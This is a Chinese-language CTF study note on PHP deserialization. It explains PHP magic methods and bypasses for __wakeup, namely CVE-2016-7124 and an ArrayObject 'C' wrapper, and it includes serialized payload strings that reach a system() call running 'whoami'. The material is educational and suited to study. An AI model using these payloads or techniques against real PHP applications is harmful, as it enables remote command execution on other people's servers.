# 关于 php 的反序列化

题里主要就是各种利用魔术方法进行跳转,从而实现恶意代码。

要利用这些魔术方法,就不得不了解一下有什么和如何利用

# 魔术方法

# __construct()

构造函数,只有在 new 一个对象的时候会触发,这时候会执行__construct () 下的语句

需要注意的是,在序列化和反序列化中都不会触发该方法

# __destruct()

析构函数会在对象被销毁的时候被调用,典型的就是 die 和 unset 函数,寒假考核的时候就用到了这个点

class web
{
    public function __wakeup() 
    {
        die("不许反序列化哦");
    }
}
class pwn
{
    public function __destruct()
    {
        echo $this->r1 . '  --0xfa';
    }
}

当整个过程被 die 销毁之后,自然会触发 pwn 的__destruct 函数,前提是序列化的时候包含了 pwn

同时,反序列化结束回收的时候也会调用

# __call()

当调用一个不存在的方法时会触发

<?php
class A
{
    public function __call($name,$arguments)
    {
        echo $name.'--'.$arguments[0];
    }
}
$a = new A();
$a -> fun('test');
?>

调用了一个不存在的方法 fun (),向 fun () 中传入了参数 test,所以会把这个不存在的函数名存入__call 里的 $name 变量,参数 test 存入 $arguments 中。这个 $arguments 是数组变量。

得到结果

image-20230408152719876

# __get

当调用一个不存在的变量时会触发

<?php
class A
{
    public function __get($name)
    {
        echo $name;
    }
}
$a = new A();
$a -> test;
?>

同样的,当调用这个不存在的变量 test 时,会自动执行__get 命令,并把变量名传入 $name 中

# __set

给不存在的变量赋值的时候会自动触发

<?php
class A
{
    public function __get($nam)
    {
        echo 'get:'.$name;
    }
    public function __set($name,$value)
    {
        echo 'set:'.$name.$value;
    }
}
$a = new A();
$a -> test = 'test';
?>

这时候就只会调用__set 方法,而__get 方法不调用了

# __isset

对不可访问的属性调用 isset () 或者 empty () 的时候触发

不可访问的属性包括:私有属性,不存在的属性

<?php
class A
{
    protected $pro;
    private $pri;
    public function __isset($name)
    {
        echo $name;
    }
}
$data=unserialize($_POST['data']);
isset($data->pro);
empty($data->pri);
?>

在 hackbar 中传入

data=O:1:"A":2:{s:6:"%00*%00pro";N;s:6:"%00A%00pri";N;}

则会 echo 出 pro 和 pri

image-20230408160715995

# __unset

同理,当用 unset 销毁不可访问的成员属性的时候就会触发该变量

# __sleep

在把对象 serialize () 的时候触发

# __wakeup

在进行反序列化的时候,会先检查是否存在__wakeup 方法,如果存在则调用,再进行反序列化

一般来说,在做题的时候,wakeup 一般都是入点,即

unserialize()->A::__wakeup()

此外,还需要学会绕过 wakeup

# CVE-2016-7124

最常见的一个绕过方法,即修改对象个数值

正常的值如下:

O:1:"A":1:{s:1:"a";N;}

如果 A 中存在 wakeup 要绕过,仅需把 "A":1 改为 "A":2 即可绕过

# C 绕过

把反序列化后的开头 O 换成 C 也可绕过 wakeup,不过这样只能执行 construct () 函数或者 destruct () 函数,无法添加任何内容

但在 ctfshow 愚人杯还有种新方法可以绕过

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
    	echo 'pass';
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>
<?php
class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
    	echo 'pass';
        system($this->ctfshow);
    }
} 
$a=new ctfshow();
echo serialize($a);
#O:7:"ctfshow":0:{}

当把 O 改 C 传 C:7:”ctfshow”:0:{} 进去可显示 pass,但是也就只能这么传入了,改了东西就没反应

可以用 ArrayObject 对正常的反序列化内容包装一次,让最后输出的 payload 以 C 开头

<?php
class ctfshow {
    public $ctfshow;
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        echo "OK";
        system($this->ctfshow);
    }
     
}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

这就成功执行了

以上内容照抄狗学长博客:PHP 反序列化中 wakeup () 绕过总结 – fushuling の blog

img

# __toString

当这个对象被当做字符串处理的时候,就会触发

常见的当做字符串处理有:

echo () 输出,. 拼接,preg_match () 比较,substr () 截取,strcmp () 比较,file_exists () 判断等

# __invoke

当对象被当成函数调用时触发

<?php
class A
{
    public $a;
    public function __invoke()
    {
        echo 'invoke';
    }
    public function invoke()
    {
        ($this->a)();
    }
}
$a = new A();
$b = new A();
$a -> a = $b;
$a -> invoke();
?>

此时,A 类中的 $a 是一个 A 类,而在 involve () 函数中把 $a 当函数执行,即把 A 类当成一个函数调用,自然就进入了__invoke () 中

# __clone()

当 clone 一个类时调用

class w_wuw_w
{
    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}
class EeE
{
    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
}

当进入 w_wuw_w 类中的__invoke () 时,会 clone 一个 EeE,此时则会进入 EeE 中的__clone ()